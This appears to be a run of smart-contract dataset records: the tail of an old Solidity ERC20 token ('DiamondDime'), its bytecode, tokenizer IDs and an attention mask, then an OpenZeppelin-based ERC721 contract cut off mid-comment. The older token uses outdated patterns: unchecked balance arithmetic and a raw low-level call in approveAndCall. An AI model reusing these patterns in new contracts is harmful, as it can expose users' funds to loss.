100000000000; totalSupply = 100000000000; name = "DiamondDime"; decimals = 2; symbol = "DIDM"; unitsOneEthCanBuy = 15650; fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610390578063095ea7b31461042057806318160ddd146104855780632194f3a2146104b057806323b872dd14610507578063313ce5671461058c57806354fd4d50146105bd57806365f2bc2e1461064d57806370a0823114610678578063933ba413146106cf57806395d89b41146106fa578063a9059cbb1461078a578063cae9ca51146107ef578063dd62ed3e1461089a575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561015357600080fd5b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561038c573d6000803e3d6000fd5b5050005b34801561039c57600080fd5b506103a5610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e55780820151818401526020810190506103ca565b50505050905090810190601f1680156104125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042c57600080fd5b5061046b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109af565b604051808215151515815260200191505060405180910390f35b34801561049157600080fd5b5061049a610aa1565b6040518082815260200191505060405180910390f35b3480156104bc57600080fd5b506104c5610aa7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610acd565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105a1610d46565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105c957600080fd5b506105d2610d59565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106125780820151818401526020810190506105f7565b50505050905090810190601f16801561063f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561065957600080fd5b50610662610df7565b6040518082815260200191505060405180910390f35b34801561068457600080fd5b506106b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfd565b6040518082815260200191505060405180910390f35b3480156106db57600080fd5b506106e4610e45565b6040518082815260200191505060405180910390f35b34801561070657600080fd5b5061070f610e4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074f578082015181840152602081019050610734565b50505050905090810190601f16801561077c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079657600080fd5b506107d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee9565b604051808215151515815260200191505060405180910390f35b3480156107fb57600080fd5b50610880600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061104f565b604051808215151515815260200191505060405180910390f35b3480156108a657600080fd5b506108fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ec565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b99575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610ba55750600082115b15610d3a57816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610d3f565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610def5780601f10610dc457610100808354040283529160200191610def565b820191906000526020600020905b815481529060010190602001808311610dd257829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ee15780601f10610eb657610100808354040283529160200191610ee1565b820191906000526020600020905b815481529060010190602001808311610ec457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610f395750600082115b1561104457816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611049565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015611290578082015181840152602081019050611275565b50505050905090810190601f1680156112bd5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156112e157600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058204fabfdfc3a2e27e6ce5f8e7f788f65f7c6cc7efdc686532fdbc8e4cf3eae9a4a0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 16048, 12521, 2497, 19317, 2278, 2487, 2497, 2581, 2546, 2581, 2620, 2581, 2575, 2581, 29097, 8586, 2692, 2546, 2575, 2278, 19841, 18939, 2063, 21057, 16086, 2620, 2487, 2850, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 1065, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 1065, 3853, 14300, 1006, 4769, 1035, 5247, 2121, 1010, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,028
0x9616bc5b7bb6318c32c6971354c3ff491c81755f
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/creepies.sol pragma solidity >=0.8.2; // to enable certain compiler features //import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; //Mapping para atribuirle un URI para cada token mapping(uint256 => string) internal id_to_URI; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {} /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints 